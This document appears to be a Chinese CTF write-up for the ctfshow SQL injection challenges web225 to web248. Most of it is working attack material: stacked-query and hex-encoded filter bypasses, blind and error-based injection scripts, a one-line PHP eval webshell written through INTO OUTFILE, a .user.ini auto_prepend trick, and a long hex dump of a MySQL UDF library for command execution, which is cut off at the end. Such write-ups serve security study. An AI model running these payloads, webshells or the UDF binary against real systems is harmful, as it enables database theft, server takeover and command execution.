1.注入点的找取,思维发散。

2.我将payload十六进制改成<?php eval($_POST[1]);?>的16进制编码之后,发现不能成功写进去一句话,没搞清楚原因,希望懂得师傅能解答下!

web225

查询语句:$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑:

1
2
3
4
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

方法一

flag不在ctfshow_user里面,这里先通过?username=ctfshow';show tables; 找到flag表的位置,然后通过handler来去读flag

最终payload:

https://02490d20-8e3b-4955-b83b-1499993a0c4c.challenge.ctf.show/api/?username=ctfshow';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

方法二

这里还有一个方式,是用预编译PREPARE ,利用concat拼接来绕过select过滤。

1
2
3
https://02490d20-8e3b-4955-b83b-1499993a0c4c.challenge.ctf.show/api/?username=user1';PREPARE My0n9s from concat('se','lect',' database()');EXECUTE My0n9s;

https://02490d20-8e3b-4955-b83b-1499993a0c4c.challenge.ctf.show/api/?username=user1';PREPARE My0n9s from concat('se','lect',' * from ctfshow_flagasa');EXECUTE My0n9s;

web226

题目:

1
2
3
4
5
6
查询语句: $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
返回逻辑:
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}

在上题的基础上过滤了set,show,(,我们可以直接用16进制编码来绕过。最终的payload:user1';PREPARE My0n9s from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE My0n9s;,这里的16进制编码对应select * from ctfsh_ow_flagas

web227

题目:

1
2
3
4
5
6
7
查询语句: $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
返回逻辑:
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}

在上题目的基础上过滤了db,这里flag不在任何表里面,也不在某个文件里面。所以单纯找是找不到的。这个题目考察的mysql存储过程

具体原理可以参考[MySQL——查看存储过程和函数_mysql 查询function-CSDN博客](https://blog.csdn.net/qq_41573234/article/details/80411079)

核心是select * from information_schema.routines,也是用16进制编码一下,然后用预编译去打。

payload:https://5d50f7f6-0dcf-4dd0-87df-0eb7e906b28f.challenge.ctf.show/api/?username=user1';PREPARE My0n9s from 0x53454c454354202a2046524f4d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;EXECUTE My0n9s;

web228

题目:

1
2
3
4
5
6
7
8
9
10
11
12
查询语句:
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";
返回逻辑:
//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}

看上去过滤了很多,其实还是可以用之前的思路来打,预编译+16进制来绕过。

payload:https://1bb603aa-63e4-4898-b00c-4a21e4e40bdc.challenge.ctf.show/api?username=user1%27;PREPARE%20My0n9s%20from%200x73686f77207461626c65733b;EXECUTE%20My0n9s; ,通过show tables;来得到表名,最后在select * from ctfsh_ow_flagasaa来拿flag。

final_payload:https://1bb603aa-63e4-4898-b00c-4a21e4e40bdc.challenge.ctf.show/api/?username=user1%27;PREPARE%20My0n9s%20from%200x73656c656374202a2066726f6d2063746673685f6f775f666c6167617361613b;EXECUTE%20My0n9s;

web229

和上面一样的思路

https://029a563a-53a0-4837-9c6f-daaf526122ba.challenge.ctf.show/api/?username=user1%27;PREPARE%20My0n9s%20from%200x73686f77207461626c65733b;EXECUTE%20My0n9s;

先拿到表名flag,然后再继续读flag表:

https://029a563a-53a0-4837-9c6f-daaf526122ba.challenge.ctf.show/api/?username=user1%27;PREPARE%20My0n9s%20from%200x73656c656374202a2066726f6d20666c61673b;EXECUTE%20My0n9s;

web230

和上面一样的思路,不赘述。

web231

题目:

1
2
3
4
查询语句: //分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
返回逻辑:
//无过滤

这个虽然是update语句,但是我们依然可以通过可控的参数注入SQL语句让它去执行,这就是我们的目的。

payload:

web231 1

payload : password=1',username=user() where 1=1;#&username=1

带入进去SQL语句就是update ctfshow_user set pass = '1',username=user() where 1=1;#' where username = '1';

实际执行的就是update ctfshow_user set pass='1',username=user() where 1=1#后面都注释掉了。

可以看到成功改写:

web231 2

这题没有过滤,接下来就是用查询的思路,去依次爆数据库、表名、字段名、值。

获取数据库:password=1',username=(select database()) where 1=1#&username=1

获取表名: password=1',username=(select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web') where 1=1#&username=1

获取flaga表的字段名: password=1',username=(select group_concat(column_name)from information_schema.columns where table_name='flaga') where 1=1#&username=1

获取值: password=1',username=(select flagas from flaga) where 1=1#&username=1

web232

题目:

1
2
3
4
5
查询语句:
//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
返回逻辑:
无过滤

这个题目和上一题的逻辑是一模一样的,只是闭合方式不一样,这里就不赘述了,直接给payload:

password=1'),username=user() where 1=1#&username=1,后面也是依次获取库、表、字段。

web233

题目:

1
2
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

给的查询语句和之前一样,用原来的payload打不通这个,所以换个思路,换成盲注,其实因为这里有个where username=xxx,可以尝试在这里去进行盲注。

这里我试了一下pasword=1&username=user1'and 1#password=1&username=user1'amd 0# 发现password=1&username=user1'or 1#password=1&username=user1' or 0# 。 得到的回显是一样的。所以这里布尔盲注走不通。

尝试一下时间盲注,发现是造成延时的。然后就是上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime
url = "http://797a704c-c060-4ac9-a177-9a87e052787a.challenge.ctf.show/api//index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"user1' or if(ascii(substr((select database()),{i},1))>{mid},sleep(0.09),1)#"
t1=datetime.datetime.now()
data={"password":1,"username":payload}
r = requests.post(url=url,data=data)
t2=datetime.datetime.now()
if (t2-t1).seconds > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

在之前脚本基础上改改就能用了。

web234

题目:

1
2
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

这里题目说没过滤,其实还是有过滤的,这个题目是把单引号过滤了,所以我们不能用单引号去闭合。但是我们可以用\去转义,来实现引号逃逸。

比如password=\&username=,username=user()# ,带入进去就是:

1
update ctfshow_user set pass='\'where username=',username=user()#';

这里的引号被转义了,所以会一直往后面吃,直到遇到下一个引号去闭合。

获取数据库:username=,username=database()#&password=\

获取表名:username=,username=(select group_concat(table_name)from information_schema.tables where table_schema="ctfshow_web")#&password=\,这里过滤了单引号,所以得用双引号。

获取字段名:username=,username=(select group_concat(column_name)from information_schema.columns where table_name="flag23a")#&password=\

获取值:username=,username=(select flagass23s3 from flag23a)#&password=\

web235

题目:

1
2
3
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
//过滤 or '

过滤了空格or、还有'

空格和引号被过滤了,这个都好说,我们还是可以沿用上一题的思路,但是这里有个问题,就是过滤了or,那么information_schema.tablesinformation_schema.columns,这些都用不了了。

这里对于information_schema.tables 有替代的,比如:mysql.innodb_table_statsmysql.innodb_index_stats

所以我们可以先把表名弄出来,payload:

password=\&username=,username=(select/**/group_concat(table_name)from/**/mysql.innodb_table_stats)#,注意这里和information_schema.tables不太一样,不需要去指明where table_schema="ctfshow_web",但是这里是where database_name=database(),只不过我这里不指明数据库,也可以正常打。

可以看到我们成功的把表名注入出来了:

web235

到这里问题来了,因为找不到能够等效information_schema.columns的,所以我们这里不能直接注入出字段名,即列名。就要通过无列名来注入,有一篇文章写的很好:[CTF|mysql之无列名注入 - 知乎](https://zhuanlan.zhihu.com/p/98206699)

payload:password=\&username=,username=(select ``(select 1,2,3 union select * from flag23a1)b)#

1
password=\&username=,username=(select%09`2`%09from(select%091,2,3%09union%09select%09*%09from%09flag23a1)b%09limit 1,1)#

注意这里在进行无列名注入的时候,要保证你构建表的列数和flag23a1表的列数是一致,这里flag23a1是3列,所以这里是select 1,2,3 union select xx,然后查询字段的时候数字要带上``,反引号。当然如果这里过滤了反引号,我们可以用起别名的方式来绕过。

如下:

1
password=\&username=,username=(select%09c%09from(select%091,2%09as%09c,3%09union%09select%09*%09from%09flag23a1)b%09limit 1,1)#

核心的地方就是select c from (select 1,2,3 union select * from flag23a1)b

limit m,n : 从第m条记录开始,返回n条记录。

web236

题目:

1
2
3
4
5
查询语句:
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
返回逻辑:
//过滤 or ' flag

很奇怪,这个题目说过滤了flag,表名也是flaga,但是还是可以用上题的脚本去打出来。

web237

题目:

1
2
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
无过滤

这个注入和update注入一样,也是找到对应的点去注入。

我们可以传username=1',user())#&password=1,带入进去就是insert into ctfshow_user(username,pass)value('1',user())#','1');

相当于insert into ctfshow_user(username,pass)value('1',user()) ,然后后面的思路是一样的。。

这里有个问题就是传参点,一开始搞了半天,还以为是在/api/index.php那里传。。。其实是在首页的添加按钮那里去传。。:

web237

日了狗了哈哈哈。

web238

题目:

1
2
3
4
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
返回逻辑
过滤了空格

在上一题基础上过滤了空格,像%09,%0a,%0d,%0c都用不了,但是这里可以用括号去绕过。

获取数据库:username=1',(select(database())))#&password=1

获取表名:username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=1

获取表的字段名(列名):

username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666c616762)))#&password=1

获取字段的值:

username=1',(select(flag)from(flagb)))#&password=1

web239

题目:

1
2
3
4
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
返回逻辑
过滤了空格,or

在上一题的基础上过滤了or,和之前的update一样,不能用information_schema 这个了。所以得换一个注入出表名然后进行无列名注入。

注数据库:username=1',(select(database())))#&password=1

注表名:username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where (database_name)=database()))#&password=1

到这里不可避免的会想到无列名注入,但这里由于把空格的一些替代都过滤了,用括号去绕也会报错,所以无列名注入实现不了。

所以怎么去获取列名?看了一些大佬的wp,给了两种方式,一种是靠猜,就是flag。另外一种就是用bp去爆破。

注入值:username=123',(select(flag)from(flagbb)))#&password=1

web240

题目:

1
2
3
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
//过滤空格 or sys mysql

在上题基础上,过滤了sys,mysql,导致mysql.innodb_table_stats也用不了了。这题给了提示,表名要靠爆破:

hint:Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

写个脚本去注入即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url1="http://b25467ab-3f43-478a-981b-d15a91b1dd7c.challenge.ctf.show/api/insert.php"
url2="http://b25467ab-3f43-478a-981b-d15a91b1dd7c.challenge.ctf.show/page.php"
for i in 'ab':
for j in 'ab':
for k in 'ab':
for l in 'ab':
for m in 'ab':
char=i+j+k+l+m
payload="admin',(select(flag)from(flag{})))#".format(char)
data1={"username":payload,"password":1}
res=requests.post(url1,data1)
print(res.json()['msg'])

web240_1.png

返回到page页面,可以看到插入成功:

web240_2.png

web241

1
2
3
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
//无过滤

没有任何过滤,这里尝试了一下时间盲注,发现可以。

直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time
import datetime
url = "http://d8d97e8d-1fef-4e59-aa68-d928fb7dd9f1.challenge.ctf.show/api/delete.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((select database()),{i},1))>{mid},sleep(0.1),1)'
print(payload)
t1=datetime.datetime.now()
data1={"id":payload}
r = requests.post(url,data=data1)
t2=datetime.datetime.now()
if (t2-t1).seconds > 1:
head = mid + 1
else:
tail = mid
time.sleep(0.5)
if head != 32:
result += chr(head)
else:
break
print(result)

这里有个细节,题目设置不让过多的请求和访问。所以一开始一直打不通,得有一个time.sleep(0.5)的过程。加上就能通了。

web242

题目:

1
2
3
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
无过滤

很容易想到去写shell,但是这里的select后面不可控,我们能控的是into outfile后面的数据,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
outfile的语法

SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]

export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]

“OPTION”参数为可选参数选项,其可能的取值有:

FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。

LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

根据上述介绍,payload:filename=1.php' LINES STARTING BY '<?php eval($_POST[1]);?>'#,一句话木马路径:/dump/1.php

web243

题目:

1
2
3
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
过滤了 php

过滤了php,我们可以先传一个1.txt文件,这个文件内容是一句话木马。然后我们再去传一个.user.ini文件,内容就是包含这个1.txt文件,不就可以了。(因为这个题目的环境是nginx,所以是包含.user.ini,如果这个题目环境是apache,那么就是包含.htaccess文件。

所以首先我们传:

1
2
https://932b6bba-986e-4b0e-9e31-7ce7200bafb1.challenge.ctf.show/api/dump.php
post传:filename=1.txt' lines starting by '<?=eval($_POST[1]);?>'#

然后再去传:

1
2
https://932b6bba-986e-4b0e-9e31-7ce7200bafb1.challenge.ctf.show/api/dump.php
post传:filename=.user.ini' lines starting by 'auto_prepend_file=1.txt\n'#

细节:1.这里去传.user.ini的时候,在后面一定要换行,不然会对.user.ini文件造成影响。

​ 2.另外这里的.user.ini文件不能被覆盖,会以第一次写入的为主。这里我也不清楚具体原因。

web244

1
2
3
//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
无过滤

首先尝试?id=1' 发现产生了报错,所以这里可以考虑报错注入。

payload:https://3186dff5-29a3-4db3-8059-0105f29ee0d8.challenge.ctf.show/api/?id=1%27and%20updatexml(1,concat(0x3e,database(),0x3e),1)%23

web245

还是接着上题,报错注入,只不过这里过滤了updatexml,我们可以找到平替的extractvalue,注意这里语法稍微和updatexml有些许差别:

1
2
3
4
5
6
7
8
9
10
获取数据库:
https://b44a500e-b8cc-4504-8db9-2d994bb84249.challenge.ctf.show/api/?id=1%27and%20extractvalue(1,concat(0x7e,database(),0x7e))%23
获取表名:
https://b44a500e-b8cc-4504-8db9-2d994bb84249.challenge.ctf.show/api/?id=1%27and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),0x7e))%23
获取字段名:
https://b44a500e-b8cc-4504-8db9-2d994bb84249.challenge.ctf.show/api/?id=1%27and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_name=%27ctfshow_flagsa%27),0x7e))%23
获取值:
https://b44a500e-b8cc-4504-8db9-2d994bb84249.challenge.ctf.show/api/?id=1%27and%20extractvalue(1,concat(0x7e,(select%20flag1%20from%20ctfshow_flagsa),0x7e))%23
但这里只能获得一半,我们还得想办法获取右边的一半:(使用right函数即可)
https://b44a500e-b8cc-4504-8db9-2d994bb84249.challenge.ctf.show/api/?id=1%27and%20extractvalue(1,concat(0x7e,right((select%20flag1%20from%20ctfshow_flagsa),16),0x7e))%23

这里扩展一下mysql 字符串截取函数:

1
2
3
4
5
left(str,len):从左边开始截取,str:被截取的字符串,len:截取长度
right(str,len):从右边开始截取,str:被截取的字符串,len:截取的长度
substring(str,pos,len):str:被截取的字符串,pos:截取开始的位置,len:截取的长度
substr(str,pos,len):同substring
mid(str,pos,len):同substring、substr

web246

在上面两题的基础上extractvalue也被过滤了。

这里扩展几个报错注入的方式:

1
2
3
4
5
exp报错注入(mysql 5.5-5.6版本)
payload:and (exp(~(select * from (操作代码) a)))

floor报错注入:https://blog.csdn.net/weixin_46706771/article/details/112726901

这个题目使用floor去报错,payload:

1
2
3
4
5
6
获取表名:
https://a4309304-126e-4f5f-aad6-267156664ba9.challenge.ctf.show/api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a#
获取字段名:
https://a4309304-126e-4f5f-aad6-267156664ba9.challenge.ctf.show/api/?id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20(column_name)%20from%20information_schema.columns%20where%20table_name='ctfshow_flags'%20%20limit%201,1),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a%23
获取字段的值:
https://a4309304-126e-4f5f-aad6-267156664ba9.challenge.ctf.show/api/?id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20flag2%20from%20ctfshow_flags%20%20limit%200,1),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a%23

注意这个题目有个细节,限制了回显的一些数据,所以不能用group_concat,只能用 limit 1,1 这种形式来获取回显数据。

web247

floor被禁用了,我们换别的取整函数,这里用的是ceil来替代,注入方式同246

1
2
3
4
5
6
获取表名:
https://b0e97e09-494b-4f92-bfe1-6011eababdb5.challenge.ctf.show/api/?id=id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%20limit%201,1),0x3a,0x3a,ceil(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a%23
获取字段名:
https://b0e97e09-494b-4f92-bfe1-6011eababdb5.challenge.ctf.show/api/?id=id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20(column_name)%20from%20information_schema.columns%20where%20table_name=%27ctfshow_flagsa%27%20%20limit%201,1),0x3a,0x3a,ceil(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a%23
获取字段值:
https://b0e97e09-494b-4f92-bfe1-6011eababdb5.challenge.ctf.show/api/?id=id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20(`flag?`)%20from%20ctfshow_flagsa%20%20limit%200,1),0x3a,0x3a,ceil(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a%23

注意这里因为字段名是flag?,这里有个?比较特殊,所以这里用反引号来标识一下。

web248

这个题目考察的是UDF提权,网上国光师傅写的一篇文章非常好https://www.sqlsec.com/tools/udf.html

大致思路就是往xxxxx/xxxx/plugin目录下面写入 .so文件,里面是我们构造好的编译好的可以执行命令的函数,然后去调用,那么重点就是写入的问题。

1.你得有读写权限吧?,这个就看你拿到的权限是啥。mysql?root?,怎么拿到权限,一般的思路国光师傅也在文章中写明了。

2.你得知道写到哪里吧?,这个可以通过语句来查询:show variables like '%plugin%';,得到的地址就是我们.so文件要写入的地址。

参考的大佬的脚本,贴上来做一下解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url="http://5e458827-0235-43c9-b16a-0d7babdf74dd.challenge.ctf.show/api/"
udf="7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000010